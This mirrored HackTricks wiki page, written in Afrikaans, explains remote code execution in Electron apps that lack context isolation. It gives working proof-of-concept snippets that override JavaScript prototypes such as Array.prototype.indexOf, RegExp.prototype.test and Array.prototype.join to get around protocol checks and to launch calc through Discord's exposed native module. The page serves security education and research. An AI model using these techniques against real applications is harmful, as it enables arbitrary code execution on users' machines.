mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.8 KiB
Markdown
83 lines
3.8 KiB
Markdown
# Electron contextIsolation RCE via preload code
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Voorbeeld 1
|
|
|
|
Voorbeeld van [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
|
|
|
Hierdie kode open http(s) skakels met die standaardblaaier:
|
|
|
|
.png>)
|
|
|
|
Iets soos `file:///C:/Windows/systemd32/calc.exe` kan gebruik word om 'n rekenaarprogram uit te voer, die `SAFE_PROTOCOLS.indexOf` keer dit egter.
|
|
|
|
Daarom kan 'n aanvaller hierdie JS-kode via die XSS of arbitrêre bladsy-navigasie inspuit:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function () {
|
|
return 1337
|
|
}
|
|
</script>
|
|
```
|
|
Aangesien die oproep na `SAFE_PROTOCOLS.indexOf` altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die kalkuleerder uitvoer. Finale uitbuiting:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function () {
|
|
return 1337
|
|
}
|
|
</script>
|
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
|
```
|
|
Kontroleer die oorspronklike skywe vir ander maniere om programme uit te voer sonder om 'n prompt te vra vir toestemmings.
|
|
|
|
Blykbaar is 'n ander manier om kode te laai en uit te voer om iets soos `file://127.0.0.1/electron/rce.jar` te benader.
|
|
|
|
## Voorbeeld 2: Discord App RCE
|
|
|
|
Voorbeeld van [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
|
|
|
Toe ek die preload-skripte nagegaan het, het ek gevind dat Discord die funksie blootstel, wat toelaat dat sommige toegelate modules via `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die webblad aangeroep kan word.\
|
|
Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos die _child_process_ module, maar ek **het 'n kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry** en in te gryp in die uitvoering van die blootgestelde module.
|
|
|
|
Die volgende is die PoC. Ek kon bevestig dat die **calc** toepassing **verskyn** wanneer ek die **`getGPUDriverVersions` funksie** aanroep wat gedefinieer is in die module genoem "_discord_utils_" van devTools, terwyl ek **die `RegExp.prototype.test` en `Array.prototype.join` oorskry**.
|
|
```javascript
|
|
RegExp.prototype.test = function () {
|
|
return false
|
|
}
|
|
Array.prototype.join = function () {
|
|
return "calc"
|
|
}
|
|
DiscordNative.nativeModules
|
|
.requireModule("discord_utils")
|
|
.getGPUDriverVersions()
|
|
```
|
|
Die `getGPUDriverVersions` funksie probeer om die program uit te voer deur die "_execa_" biblioteek te gebruik, soos die volgende:
|
|
```javascript
|
|
module.exports.getGPUDriverVersions = async () => {
|
|
if (process.platform !== "win32") {
|
|
return {}
|
|
}
|
|
|
|
const result = {}
|
|
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
|
|
|
|
try {
|
|
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
|
|
} catch (e) {
|
|
result.nvidia = { error: e.toString() }
|
|
}
|
|
|
|
return result
|
|
}
|
|
```
|
|
Gewoonlik probeer die _execa_ om "_nvidia-smi.exe_" uit te voer, wat in die `nvidiaSmiPath` veranderlike gespesifiseer is, egter, as gevolg van die oorgeskryfde `RegExp.prototype.test` en `Array.prototype.join`, **word die argument vervang met "**_**calc**_**" in die _execa**_**'s interne verwerking**.
|
|
|
|
Specifiek word die argument vervang deur die volgende twee dele te verander.
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|